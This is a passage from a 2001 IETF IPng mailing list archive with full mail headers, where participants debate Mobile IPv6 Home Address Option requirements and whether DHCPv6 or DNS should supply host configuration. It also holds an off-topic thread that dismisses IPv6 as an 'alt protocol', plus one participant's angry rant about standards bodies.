here, not just a choice of which particular centralised database to use. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 06:54:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1Ese1V023828 for ; Sat, 1 Dec 2001 06:54:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1Ese70023827 for ipng-dist; Sat, 1 Dec 2001 06:54:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1Esa1V023820 for ; Sat, 1 Dec 2001 06:54:36 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA19151 for ; Sat, 1 Dec 2001 06:54:35 -0800 (PST) Received: from fep07-app.kolumbus.fi (fep07-1.kolumbus.fi [193.229.5.107]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA05293 for ; Sat, 1 Dec 2001 07:54:34 -0700 (MST) Received: from jariws1 ([62.248.239.94]) by fep07-app.kolumbus.fi (InterMail vM.5.01.03.08 201-253-122-118-108-20010628) with SMTP id <20011201145421.BQIF641.fep07-app.kolumbus.fi@jariws1>; Sat, 1 Dec 2001 16:54:21 +0200 Message-ID: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> From: "Jari Arkko" To: "Pekka Savola" , Cc: References: Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt Date: Sat, 1 Dec 2001 16:54:44 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > "basic functionality of a CN" has not been defined explicitly, IMO. Yes. Thanks for pointing this out. We should clarify the issue in the draft. The intention was to say that Home Address Option processing is mandatory on all nodes, while Route Optimization functionality is not (mipv6 draft -15 says: "Mobile IPv6 defines four new IPv6 destination options, including one that MUST be supported in packets received by any node, whether mobile or stationary."). > The requirement that Home Address Option MUST be processed is nothing new; > it's a requirement for every IPv6 node as currently being specified. Right, and this was what we've stated in earlier versions of the draft. A note was, however, added to the latest version of our draft to indicate that the Mobile IP WG is presently discussing what to do with the Home Address Option and whether there are security issues in that as well (as there were other security issues in the Binding Update Option). But frankly - as someone who wants to deploy zillions of these devices soon - we are somewhat unsure how to proceed regarding this issue. Since I know you Pekka were involved in the Home Address Option discussion, perhaps you could comment on where do you think the WG goes? Will it disallow the option unless accompanied by a Binding Cache Entry established securely earlier? Will it throw away the option and start to use tunneling? Or decide that there is no security issue? Or perhaps we can't yet say for sure? Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 07:29:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1FTe1V023869 for ; Sat, 1 Dec 2001 07:29:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1FTeH9023868 for ipng-dist; Sat, 1 Dec 2001 07:29:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1FTa1V023861 for ; Sat, 1 Dec 2001 07:29:36 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA12158 for ; Sat, 1 Dec 2001 07:29:36 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA27520 for ; Sat, 1 Dec 2001 08:29:34 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB1FTOh27396; Sat, 1 Dec 2001 17:29:24 +0200 Date: Sat, 1 Dec 2001 17:29:23 +0200 (EET) From: Pekka Savola To: Robert Elz cc: Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt In-Reply-To: <3135.1007216491@brandenburg.cs.mu.OZ.AU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sat, 1 Dec 2001, Robert Elz wrote: > | There's one additional point to consider. > | > | DNS server is pretty much required; or so the draft assumes. Personally, > | for small sites, I disagree. > > Yes. That was more or less what I was saying - the hard part of this is > to design something that works when there is no central database of any > kind at all. As soon as you start assuming the existence of one, and hence > something (or someone) to maintain it, half the complexity goes away (or > rather is hidden - "the administrator" simply makes it all work...) True. But consider -- a small site that doesn't even have a DNS server of its own is, well, small. In most cases, it's no big deal configuring stuff by hand in every system. With bigger sites, more centralized structure is needed, like this. A problem here is that there are lots and lots of very small sites. Practically, if there was no way of "automatically discover" required information, renumbering would more a few steps more difficult. > | If DHCP server existed in the network -- sure, it would be ok to put the > | data there. But one of the points here is to avoid adding DHCP server at > | all. > > Why? There's nothing magic about DHCP servers that make them something > to be avoided. Installing a DHCP server is mostly just a matter of going > to your server's "what daemons do I run" facility, and enabling it. It > isn't running the DHCP server that some people want to avoid, it is doing > the centralised data administration. That's just as true for a DNS server > as it is for a DHCP server. If you're going to collect and maintain the > data anyway, whether it is distributed via DHCP or DNS isn't going to bother > anyone much. Or it wouldn't, if they really thought about it. (DHCP > actually has a whole set of small advantages for things like this). DNS is a required part of working infrastructure. DHCP is not. Do we want to make it that? I'd prefer there would be as few links in the requirement chain as possible. Not that DNS is necessarily the best place to put this data in.. > | The real question is: "are all of these configurables so critical that we > | should mandate DHCPv6 server in every network which would like to > | autoconfigure them?". > | > | IMO, the answer for at least some parts of the draft is "no, we shouldn't > | need DHCP for them". > > I agree with that. But the answer cannot be to require the same > data served by the DNS instead. The replacement has to be to collect > the data from a distributed system, with no central maintenance, just > like IPv6 addresses are generated by the routers advertising prefixes, > and the nodes generating the addresses. Or by a centralised server if > the net prefers that method. It is the same kind of choice that needs > to be permitted here, not just a choice of which particular centralised > database to use. I basically agree -- but the "cost" (design, implementation, etc.) of the system is much larger that way; and it'd most probably be more complex too. Of course, this decision could be pushed off the hosts; for example, make all of these things options in router advertisements, and define some mechanisms how routers would get the data (from servers, from configuration, ...). -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 07:33:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1FXW1V023892 for ; Sat, 1 Dec 2001 07:33:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1FXWFH023891 for ipng-dist; Sat, 1 Dec 2001 07:33:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1FXR1V023884 for ; Sat, 1 Dec 2001 07:33:27 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05293 for ; Sat, 1 Dec 2001 07:33:27 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA27376 for ; Sat, 1 Dec 2001 07:33:26 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB1FXOc27442; Sat, 1 Dec 2001 17:33:24 +0200 Date: Sat, 1 Dec 2001 17:33:23 +0200 (EET) From: Pekka Savola To: Jari Arkko cc: , Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sat, 1 Dec 2001, Jari Arkko wrote: > > The requirement that Home Address Option MUST be processed is nothing new; > > it's a requirement for every IPv6 node as currently being specified. > > Right, and this was what we've stated in earlier versions of the draft. A > note was, however, added to the latest version of our draft to indicate > that the Mobile IP WG is presently discussing what to do with the Home > Address Option and whether there are security issues in that as well > (as there were other security issues in the Binding Update Option). > > But frankly - as someone who wants to deploy zillions of these > devices soon - we are somewhat unsure how to proceed regarding > this issue. Since I know you Pekka were involved in the Home Address > Option discussion, perhaps you could comment on where do you think > the WG goes? Will it disallow the option unless accompanied by a > Binding Cache Entry established securely earlier? Will it throw away > the option and start to use tunneling? Or decide that there is no > security issue? Or perhaps we can't yet say for sure? It's too early to say how this will be tackled, but I think the risk of completely unauthenticated Home Address options will be too high; it seems probable it will have to restricted in some form or the other. But it's rather early yet. Next revision of secreqs draft will add Home Address option and Routing Header issues for consideration. It seems likely the wording will be "harsher" on the issue than before. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 08:14:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1GEL1V023934 for ; Sat, 1 Dec 2001 08:14:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1GELT1023933 for ipng-dist; Sat, 1 Dec 2001 08:14:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1GEI1V023926 for ; Sat, 1 Dec 2001 08:14:18 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA14181 for ; Sat, 1 Dec 2001 08:14:18 -0800 (PST) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA00852 for ; Sat, 1 Dec 2001 09:14:44 -0700 (MST) Received: from rdroms-w2k.cisco.com (rtp-vpn1-84.cisco.com [10.82.224.84]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA08974; Sat, 1 Dec 2001 11:06:45 -0500 (EST) Message-Id: <4.3.2.7.2.20011201105212.00b8aeb0@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 01 Dec 2001 11:07:35 -0500 To: Pekka Savola From: Ralph Droms Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt Cc: Robert Elz , In-Reply-To: References: <3135.1007216491@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk We're likely to see a lot of those small sites without a DNS server, run by unsophisticated users. Our recent experience with small IPv4 sites - SOHO behind a CPE box (router/NAT) - is that they are very likely to include a light-footprint, full-function, low-configuration DHCP server. Those sites are not very likely to include a DNS server. In the IPv6 SOHO scenario, I see either using a distributed discovery/configuration mechanism in which each device in the SOHO network has to reach into the ISP network for configuration, or a stateless DHCPv6 server in the CPE box that entirely or mostly autoconfigures itself. In fact, I believe DHCPv6 would be even lighter weight than DHCPv4 in this scenario, exactly because of stateless autoconfig. The stateless DHCPv6 server, in the simplest scenario, could operate in a single-threaded, query-response mode, returning the same response with DNS server, domain name and search list to every client request. Based on our experience with seeing DHCPv4 deployed in <$100 CPE boxes, I would expect stateless DHCPv6 would find its way into SOHO devices, as well. I'm working on an implementation of stateless DHCPv6, so I can't give any running code results, yet. My intuition is that stateless DHCPv6 would be no more difficult to implement or require any more resources from the device in which it runs than ICMP. - Ralph At 05:29 PM 12/1/2001 +0200, you wrote: >On Sat, 1 Dec 2001, Robert Elz wrote: > > | There's one additional point to consider. > > | > > | DNS server is pretty much required; or so the draft > assumes. Personally, > > | for small sites, I disagree. > > > > Yes. That was more or less what I was saying - the hard part of this is > > to design something that works when there is no central database of any > > kind at all. As soon as you start assuming the existence of one, and > hence > > something (or someone) to maintain it, half the complexity goes away (or > > rather is hidden - "the administrator" simply makes it all work...) > >True. But consider -- a small site that doesn't even have a DNS server of >its own is, well, small. In most cases, it's no big deal configuring >stuff by hand in every system. With bigger sites, more centralized >structure is needed, like this. > >A problem here is that there are lots and lots of very small sites. >Practically, if there was no way of "automatically discover" required >information, renumbering would more a few steps more difficult. > > > | If DHCP server existed in the network -- sure, it would be ok to > put the > > | data there. But one of the points here is to avoid adding DHCP > server at > > | all. > > > > Why? There's nothing magic about DHCP servers that make them something > > to be avoided. Installing a DHCP server is mostly just a matter of going > > to your server's "what daemons do I run" facility, and enabling it. It > > isn't running the DHCP server that some people want to avoid, it is doing > > the centralised data administration. That's just as true for a DNS server > > as it is for a DHCP server. If you're going to collect and maintain the > > data anyway, whether it is distributed via DHCP or DNS isn't going to > bother > > anyone much. Or it wouldn't, if they really thought about it. (DHCP > > actually has a whole set of small advantages for things like this). > >DNS is a required part of working infrastructure. DHCP is not. Do we >want to make it that? I'd prefer there would be as few links in the >requirement chain as possible. > >Not that DNS is necessarily the best place to put this data in.. > > > | The real question is: "are all of these configurables so critical > that we > > | should mandate DHCPv6 server in every network which would like to > > | autoconfigure them?". > > | > > | IMO, the answer for at least some parts of the draft is "no, we > shouldn't > > | need DHCP for them". > > > > I agree with that. But the answer cannot be to require the same > > data served by the DNS instead. The replacement has to be to collect > > the data from a distributed system, with no central maintenance, just > > like IPv6 addresses are generated by the routers advertising prefixes, > > and the nodes generating the addresses. Or by a centralised server if > > the net prefers that method. It is the same kind of choice that needs > > to be permitted here, not just a choice of which particular centralised > > database to use. > >I basically agree -- but the "cost" (design, implementation, etc.) of the >system is much larger that way; and it'd most probably be more complex >too. > >Of course, this decision could be pushed off the hosts; for example, make >all of these things options in router advertisements, and define some >mechanisms how routers would get the data (from servers, from >configuration, ...). > >-- >Pekka Savola "Tell me of difficulties surmounted, >Netcore Oy not those you stumble over and fall" >Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 10:13:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1ID21V024165 for ; Sat, 1 Dec 2001 10:13:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1ID2v8024164 for ipng-dist; Sat, 1 Dec 2001 10:13:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1ICw1V024157 for ; Sat, 1 Dec 2001 10:12:58 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA14908 for ; Sat, 1 Dec 2001 10:12:58 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA26222; Sat, 1 Dec 2001 11:13:24 -0700 (MST) Received: from ipv16 (as1-98.chi.il.dial.anet.com [198.92.156.98]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id MAA12107; Sat, 1 Dec 2001 12:12:55 -0600 (CST) Message-ID: <058e01c17a95$925f00e0$a300a8c0@ipv16> From: "Jim Fleming" To: , <6bone@isi.edu>, , Cc: , References: <87pu5ze3bm.fsf@snark.piermont.com> Subject: "one true protocol" Date: Sat, 1 Dec 2001 12:25:34 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk When people use alternate TLDs, they are labeled "alt" and people declare that those people are not connected to *THE* Internet. The "alt people" are ridiculed for having a small share of the market. Some people tell the "alt people" to run along and find another sand-box to play in. This does not seem to happen with IPv6 sales people. It has been confirmed by IPv6 users that they are not connected to the Internet. IPv4 systems can not talk to native IPv6 systems. It would appear that IPv6 is some sort of "alt protocol" movement. The IPv6 people have their own root-servers, yet, ICANN and the IETF claim that there can only be one true-root. IPv6 sales people do not seem to be concerned about this. IPv6 sales people also do not seem to be concerned about the IPv6 Privacy Problem. While all of this is going on, IPv4 users are quite happy and can now expand their addressing with no change required to the equipment that connects them. The .BIZ TLD is now considered not to be "alt", it once was. It appears that the "consensus" of the Internet community is to move forward with the evolution of IPv4. There is a lot of room for expansion. The "alt protocol" people appear to be determined to fragment the Internet. It is unclear why ICANN and the IETF do not declare that there is "one true protocol" along with their "one true root". Maybe that would lead to the declaration that there is "one true address space" ? Jim Fleming http://www.IPv8.info ----- Original Message ----- From: "Perry E. Metzger" To: ; <6bone@isi.edu>; ; Sent: Saturday, December 01, 2001 2:45 AM Subject: ad hoc list created to discuss v6 usage measurement > > I've been trying to get a bunch of statistics together on v6 usage > growth and have found that few people are collecting serious > statistics. I thought I'd start a small discussion on the subject -- > accurate statistics are important to demonstrate that v6 is indeed > deploying and that people should spend time and money on preparing and > deploying their own networks. > > I've set up an ad hoc list, "metrics@ipv6.org" to host the > discussion. Subscribe via majordomo@ipv6.org. > > Perry > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 10:35:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1IZJ1V024240 for ; Sat, 1 Dec 2001 10:35:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1IZJW9024239 for ipng-dist; Sat, 1 Dec 2001 10:35:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1IZF1V024232 for ; Sat, 1 Dec 2001 10:35:15 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA16715 for ; Sat, 1 Dec 2001 10:35:15 -0800 (PST) Received: from fep6.cogeco.net (smtp.cogeco.net [216.221.81.25]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA00617 for ; Sat, 1 Dec 2001 11:35:41 -0700 (MST) Received: from cgocable.net (d141-54-6.home.cgocable.net [24.141.54.6]) by fep6.cogeco.net (Postfix) with ESMTP id 09A6E358E for ; Sat, 1 Dec 2001 13:35:13 -0500 (EST) Message-ID: <3C0923F6.E88FD0C7@cgocable.net> Date: Sat, 01 Dec 2001 13:39:50 -0500 From: ryan elson X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: "one true protocol" References: <87pu5ze3bm.fsf@snark.piermont.com> <058e01c17a95$925f00e0$a300a8c0@ipv16> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk it would be nice if address space were a little more free. Does it make sense to anyone that $100 is a fair price for a lousy name? IPv4 and IPv6 both be damned, the US government seems to think that it can only run tld's, the ignorant company (well this used to be the case) named internic thought it could run a monopoly from this. Both the IETF and ICANN be damned. Same with the W3C and all organisations that have been invented to make the internet. Do you know how bleak the future of the world looks right now? We are going to eventually spend more resources tearing down our little mistakes than it will take to build new things. The emphasis is not being put on good design, but rather, backwards compatability and stupid multi-platform standards. The W3C must've lacked that vision when they meddled with internet standards enough to make the job of a webdesigner something closer to rocket science since they have to learn 5 languages just to scrape by (flash, java, asp/cold fusion, COM+, html/dhtml/xml). It's completely rediculous. These organisations are supposed to make things better and instead the only thing they accomplish is to thwart future progress by not thinking of the future quite enough. So here's a thanks to the moron that pushed IPv4 to become the internet when they should have realized that the limits on address space could easily be surpassed, here's to the idiots at the w3c who can't even get browsers to support alpha transparancy, or the idiots who invented flash which has a high learning curve only because of it's poorly designed buggy interface. It is beyond me why some animations in flash require a 600mhz computer, seems a little wasteful on processing power for the limited amount of effects that are produced by it. The computers we have today are capable of so much more, why is it that the best thing we are able to do when it comes to getting new standards is shooting ourselves in the foot? You know your mistakes are going to come and bite you in the ass sooner or later. Make things dynamic enough so that they NEVER need to be changed, do not use any constants (for instance, maximum addresses) at all. I read all of what is contributed on this list, I think it is irresponsible of ipng to consider doing anything less if they want to be taken seriously. I don't take things seriously when your ip protocol is not flexible enough to adapt to different situations rather than have to tear apart an entire network just to get a new protocol on it. It's too late with IPv4, and it's too late with IPv6 it seems...your minds are already set, you don't think that however 100 billion addresses will not be all in use sometime? Is it so inconceivable? Well then I hope you enjoy bearing the responsibility of not being so much of a professional in your recommendations for the IP protocol when people are busy ripping down your networks half a decade down the road because of something that should have been properly designed. Shame on the idiots who made that mistake in the past with IPv4, shame on the idiots who are making the same mistake again. Jim Fleming wrote: > When people use alternate TLDs, they are labeled "alt" and people > declare that those people are not connected to *THE* Internet. > The "alt people" are ridiculed for having a small share of the market. > Some people tell the "alt people" to run along and find another sand-box > to play in. This does not seem to happen with IPv6 sales people. > > It has been confirmed by IPv6 users that they are not connected to > the Internet. IPv4 systems can not talk to native IPv6 systems. It would > appear that IPv6 is some sort of "alt protocol" movement. The IPv6 > people have their own root-servers, yet, ICANN and the IETF claim > that there can only be one true-root. IPv6 sales people do not seem to > be concerned about this. IPv6 sales people also do not seem to be > concerned about the IPv6 Privacy Problem. > > While all of this is going on, IPv4 users are quite happy and can now > expand their addressing with no change required to the equipment that > connects them. The .BIZ TLD is now considered not to be "alt", it once > was. It appears that the "consensus" of the Internet community is to move > forward with the evolution of IPv4. There is a lot of room for expansion. > The "alt protocol" people appear to be determined to fragment the > Internet. > > It is unclear why ICANN and the IETF do not declare that > there is "one true protocol" along with their "one true root". > Maybe that would lead to the declaration that there is > "one true address space" ? > > Jim Fleming > http://www.IPv8.info > > ----- Original Message ----- > From: "Perry E. Metzger" > To: ; <6bone@isi.edu>; ; > Sent: Saturday, December 01, 2001 2:45 AM > Subject: ad hoc list created to discuss v6 usage measurement > > > > > I've been trying to get a bunch of statistics together on v6 usage > > growth and have found that few people are collecting serious > > statistics. I thought I'd start a small discussion on the subject -- > > accurate statistics are important to demonstrate that v6 is indeed > > deploying and that people should spend time and money on preparing and > > deploying their own networks. > > > > I've set up an ad hoc list, "metrics@ipv6.org" to host the > > discussion. Subscribe via majordomo@ipv6.org. > > > > Perry > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 1 10:52:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1IqQ1V024259 for ; Sat, 1 Dec 2001 10:52:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB1IqQVi024258 for ipng-dist; Sat, 1 Dec 2001 10:52:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB1IqM1V024251 for ; Sat, 1 Dec 2001 10:52:22 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA17956 for ; Sat, 1 Dec 2001 10:52:22 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA29622 for ; Sat, 1 Dec 2001 10:52:21 -0800 (PST) Received: from ipv16 (as1-98.chi.il.dial.anet.com [198.92.156.98]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id MAA18786; Sat, 1 Dec 2001 12:52:27 -0600 (CST) Message-ID: <060a01c17a9b$169a1200$a300a8c0@ipv16> From: "Jim Fleming" To: "ryan elson" , References: <87pu5ze3bm.fsf@snark.piermont.com> <058e01c17a95$925f00e0$a300a8c0@ipv16> <3C0923F6.E88FD0C7@cgocable.net> Subject: Re: "one true protocol" Date: Sat, 1 Dec 2001 13:05:04 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perhaps Theodore Geisel, Dr. Seuss' inventor, had the best advice, albeit not from The C@t in the Hat: "You have brains in your head. You have feet in your shoes. You can steer yourself any direction you choose." - Dr. Seuss Jim Fleming http://www.ddj.com/articles/search/search.cgi?q=fleming Oct93: The C+@ Programming Language ----- Original Message ----- From: 